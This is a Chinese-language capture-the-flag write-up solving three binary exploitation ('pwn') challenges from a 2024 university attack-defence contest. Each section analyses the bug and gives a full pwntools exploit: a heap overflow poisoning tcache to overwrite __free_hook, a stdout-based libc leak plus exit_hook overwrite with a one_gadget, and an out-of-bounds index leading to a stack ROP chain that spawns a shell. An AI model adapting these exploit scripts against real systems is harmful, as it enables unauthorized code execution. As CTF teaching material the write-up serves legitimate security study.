古剑山 第二届全国大学生网络攻防大赛 2024 pwn AK
题目链接:
百度网盘(提取码yxxx)
🤺前言
没报这个比赛,看到鱼神在群里说了一下这个比赛,就让鱼神把题发我了。3小时的比赛题目还是比较容易的,不知道题目名字就随便命名了
⚔️pwn1(堆溢出)
🗡️分析
checksec查看。保护全开
IDA查看。这里已经改过函数名了
add函数中,利用strdup创建的堆块,根据字符串长度来创建。size可以输很大,然后输入短长度的字符串,在后面edit的时候就可以造成溢出
根据size来输入的,可以溢出
show也是根据size输出,利用的是write
🗡️解题
先创一个unsortedbin
随后拿到这个chunk,show出libc地址
修改第一个chunk,改下面的tcachebin为__free_hook
取到__free_hook,改为sys,控制参数为/bin/sh再delete一下拿shell
🗡️exp
from pwn import *
filename = './pwn'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 13326)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
def add(index, size, content):
io.sendlineafter('show\n', '1')
io.sendlineafter('index: ', str(index))
io.sendlineafter('size: ', str(size))
io.sendafter('note: ', content)
def delete(index):
io.sendlineafter('show\n', '2')
io.sendlineafter('index: ', str(index))
def edit(index, content):
io.sendlineafter('show\n', '3')
io.sendlineafter('index: ', str(index))
io.sendafter('note: ', content)
def show(index):
io.sendlineafter('show\n', '4')
io.sendlineafter('index: ', str(index))
add(0, 0xf0, 'A')
for i in range(1, 10):
add(i, 0x20, b'A' * 0x80)
for i in range(1, 9):
delete(i)
add(9, 0x20, b'A')
show(9)
io.recv(8)
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x3ebd20
success('libcbase =>> ' + hex(libcbase))
__free_hook = libcbase + libc.sym['__free_hook']
sys = libcbase + libc.sym['system']
edit(0, p64(0) * 3 + p64(0x91) + p64(__free_hook))
for i in range(8):
add(1, 0x20, b'A' * 0x80)
edit(1, p64(sys))
add(2, 0x20, b'/bin/sh\x00')
delete(2)
io.interactive()
⚔️pwn2(分配大堆,不正确的数组索引,IO泄露,exit_hook)
🗡️分析
checksec查看。保护全开
IDA查看
输入size,如果size大于0x400000就会重新输入。但是在重新输入后改变的仅仅是size,size_4并没有改变,而后面是通过size_4来写的,这里就有不正确的数组索引,可以实现任意地址写
后面malloc了size,malloc的size在(0x1ffe8, 0x1fefe8]区间,会调用mmap分配空间,这片空间可能在ld段也有可能在ld段往上偏移一段距离。如果大于0x1fefe8,会在libc段
所以分配0x400000大小的chunk,就可以在libc段,此时只需要加一下偏移就可以改libc的data段中的内容。data段中存放的stdout,改标志位flag:fbad28为fbad18过检测,再把write_base的末字节改为\x00即可泄露libc地址
后面有个任意地址改,随后调用exit退出,显然是利用刚刚的libc计算出exit_hook,改为one_gadget即可
🗡️解题
先算好到stdout的偏移,等会要修改过去
分配完chunk后,就可以修改了
如图所示,触发一下输出的函数即可泄露libc,下面刚好是触发了一次
接收一下,算出one_gadget,下面只能改3个字节所以转换了一下
exit_hook为这两个,在exit的时候会执行,这两个位置如果是2.23的libc的话,在_rtld_global + 3848和_rtld_global + 3856的位置上,由于调用位置不同,所以寄存器状态可能不同,两个都试着改改one_gadget
修改,后面触发exit就可以拿shell
🗡️exp
from pwn import *
filename = './inferno'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 13326)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
io.sendline(str(0x400000 + 0x5c5611))
io.sendline(str(0x400000))
io.send('\x18')
io.send('\x00')
io.recv(0x33)
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x3c36e0
success('libcbase =>> ' + hex(libcbase))
exit_hook = libcbase + 0x626f48
success('exit_hook =>> ' + hex(exit_hook))
one_gadget = libcbase + 0xf1247
success('one_gadget =>> ' + hex(one_gadget))
one_gadget = one_gadget & 0xffffff
one_gadget = one_gadget.to_bytes(3, byteorder='little')
io.send(p64(exit_hook))
io.send(one_gadget)
io.interactive()
⚔️pwn3(不正确的数组索引)
🗡️分析
checksec查看。保护全开
IDA查看。函数已重新命名
init函数中调用了一下随机数
有3个随机数,但没有以时间为种子,所以是固定的
add函数,看上去很复杂,实际上就一个有用,其他的基本没用,看第一个cute就可以了
上来先给自己命个名,才能继续,命完名后会先退出
chunk的size不能大于0x100,实际没什么用,因为这题不考堆
漏洞出现在show函数和edit函数中,if后没有退出,导致index可以随意。可以直接show出bss段地址,再show出bss段上的libc地址。这题没给libc,所以需要找libc,可以泄露bss段上面的got表地址,那么多got表地址足够准确找到libc版本了
之后再泄露libc里的envrion里的栈地址,修改edit函数的返回地址进行基本rop即可
需要注意的是,在edit的时候会进行异或操作,异或的数值会一直变
magic中可以改rand1和2的值,将这两个改为0,rand的值就永远为0了,就不会影响edit的修改了。开始的时候值为5,输入一下就可以过检测了
🗡️解题
主要用到这两个函数
改rand,方便edit
命名,后面的\x99是之后edit的大小
先show一下bss地址
-19是这里,这里刚好存放了他自己的地址
修改-19的地址,将他自己的末位改为\xa0,也就是cute的chunk[0]的位置,再将cute的chunk[0]改为stdout的地址
第一次修改,\x99是刚刚写的name,这里作为了read的size
第二次修改这里
随后show一下0就可以拿到libc了
继续改0为envrion,再show出stack
再将0改为stack,这里后面跟了个\x99也是控制chunk的size,不然等会edit没size
下面edit参数为0就是改stack,基本rop
🗡️exp
from pwn import *
filename = './pwn'
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 13326)
else:
io = process(filename)
elf = ELF(filename)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def dbg():
gdb.attach(io)
libc = ELF('./libc.so.6')
def show(index):
io.sendlineafter('select : ', '2')
io.sendlineafter('select : ', '1')
io.sendlineafter('see?', str(index))
io.recvuntil('):')
a = u64(io.recv(6).ljust(8, b'\0'))
io.sendlineafter('select : ', '5')
return a
def edit(index, content):
io.sendlineafter('select : ', '4')
io.sendlineafter('select : ', '1')
io.sendlineafter('groom?', str(index))
io.sendafter('grooming\n', content)
io.sendlineafter('select : ', '5')
io.sendlineafter('select : ', '5')
io.sendline(str(5))
io.sendline(str(0))
io.sendline(str(0))
io.sendline('1')
io.send('\x00' * 4 + '\x99')
bss = show(-19)
success('bss =>> ' + hex(bss))
edit(-19, '\xa0')
edit(-19, p64(bss + 0x18))
libcbase = show(0) - 0x2045c0
success('libcbase =>> ' + hex(libcbase))
environ = libcbase + libc.sym['environ']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
rdi = libcbase + 0x10f75b
ret = libcbase + 0x2882f
edit(-19, p64(environ))
stack = show(0) - 0x150
success('stack =>> ' + hex(stack))
edit(-19, p64(stack) + b'\x00' * 0x40 + b'\x99')
edit(0, p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))
io.interactive()